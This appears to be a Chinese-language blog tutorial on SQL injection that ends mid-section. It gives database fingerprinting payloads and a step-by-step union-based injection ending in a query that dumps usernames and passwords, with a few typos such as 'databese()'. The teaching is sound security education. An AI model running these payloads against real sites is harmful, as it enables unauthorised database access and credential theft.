SQL注入漏洞简介

​ SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

SQL注入原理

一段MySQL查询数据为

1
select * from user where user_id = '1'

这一段代码的意思是,查询user表中user_id字段的值为1的所有数据

其中1是我们可以改变的地方,在不做任何防御措施下,我们将其改成我们构造的语句,从而造成SQL注入

1
select * from user where user_id = '1' or 1 = 1 --+

改变之后,这段代码的意思就变成了查询user表中user_id字段的值为1或者1=1的所有数据

由于1=1的结果为真,所以最后的结果就是查询user表中的所有数据

这里我们手动填写的语句就是1' or 1 = 1 --+

其中1'闭合之前的语句,在通过or 1 = 1造成结果为真的判断

再通过注释符号--注释掉代码后边可能存在的其他语句,避免查询的结果与我们预期的结果不同

最后通过符号+来表示空格,避免注释符号--与之后的单引号连接导致出错,这样一段SQL注入就产生了

在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

在MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

information_schema数据库中三个很重要的表:

information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名

information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名

information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名

SQL注入特征

任何传输参数的地方都有可能造成SQL注入

任何传输参数的地方都有可能造成SQL注入

任何传输参数的地方都有可能造成SQL注入

常用函数

  • database():当前数据库
  • user():查询数据库的用户
  • version():查询数据库版本
  • system_user():系统用户名
  • session_user():链接数据库的用户名
  • current_user:当前用户名
  • load_file():读取本地文件
  • @@datadir:读取数据库路径
  • @@basedir:MySQL安装路径
  • @@version_complie_os:查看操作系统

SQL注入的分类

依据注入点类型分类

  • 数字类型的注入
  • 字符类型的注入
  • 搜索类型的注入

依据提交方式分类

  • GET注入
  • POST注入
  • COOKIE注入
  • HTTP头注入(XFF注入、UA注入、REFERER注入)

依据获取信息的方式分类

  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于报错的盲注
  • 联合查询注入
  • 堆查询注入(可同时执行多条语句)

判断数据库类型

数据库 指纹
MySQL information_schema.tables
Access msysobjects
SQL server sysobjects
Oracle dual
1
2
3
4
5
6
7
8
9
10
11
//判断MySQL数据库
xxx?id=1 and exists(select * from information_schema.tables) --+

//判断Access数据库
xxx?id=1 and exists(select * from msysobjects) --+

//判断Mssql数据库
xxx?id=1 and exists(select * from sysobjects) --+

//判断Oracle数据库
xxx?id=1 and (select count(*) from dual)>0 --+

Union联合查询注入

判断闭合符号

当我们找到一个注入点时,首先判断该注入点中可能存在的闭合符号

无闭合,单引号'',双引号"",括号(),单引号+括号(''),双引号+括号("")….以及引号+多括号组合

1
2
3
4
5
6
7
8
9
xxx?id = -1
如果报错说明可能存在注入

xxx?id = 1 and 1 = 2 --+
如果不报错,说明不是数字型注入

xxx?id = 1’ and 1 = 2 --+
如果报错,说明闭合含有单引号,如果不报错,说明闭合含有双引号
然后通过构造语句能否成功执行判断具体的闭合组合情况

判断字段数量

1
xxx?id = 1' order by 5 --+

通过语句order by x来判断字段的数量

如果不报错,说明字段数量大于等于5,如果报错,说明字段数量小于5

判断数据显示位置

1
xxx?id = -1' union select 1,2,3,4... --+ 

这里先通过负号-或者and 1 = 2使得数据库报错

再通过union建立联合查询,也就是在select查询里面再嵌套一个查询语句

后面的数值排列取决于判断的字段数量

若回显中出现了相应的数值说明我们接下来查询的信息会在该位置显示

如图下的2和3可能会在网页中显现出来

SQL注入1.png

查询数据库库名

1
xxx?id = -1' union select 1,database(),3 --+

database()是MySQL中的一个函数,表示当前数据库的名字

SQL注入2.png

枚举数据库中的所有的表

1
xxx?id = -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+

这个语句的意思是从information_schematable-schema表中查找当前数据库的所有表

information_schema:MySQL的默认数据库,包含了所有数据库,数据表的信息

table_schema:默认数据库中的一个表,记录了数据库名字

table_name:默认数据库中的一个表,记录了数据表的名字

group_concat():是MySQL的函数,把函数中字段的值输出在一行中,以逗号分隔

SQL注入3.png

枚举数据表中所有的字段

1
xxx?id = -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = databese() and table_name = 'user' --+

这个语句的意思是从information_schema中条件为当前数据表并且当前数据库中的user表中所有字段的名字

column_name:MySQL的默认数据库中的一个表,记录了字段的名字

SQL注入4.png

查询字段中所有的值

1
xxx?id = -1' union select 1,group_concat(concat_ws(0x2d,username,password)),3 from user --+

这个语句的意思是查询user表中username字段和password的值

concat_ws:MySQL的函数,为了格式化数据,看起来整齐,通过第一个参数连接后面所有参数

0x2d:ASCII码,代表-

最后输出格式为user1-pass1,user2-pass2…..

Boolean盲注

盲注,通常是在服务器没有回显错误信息,所以攻击者找到验证注入的SQL语句是否执行的方法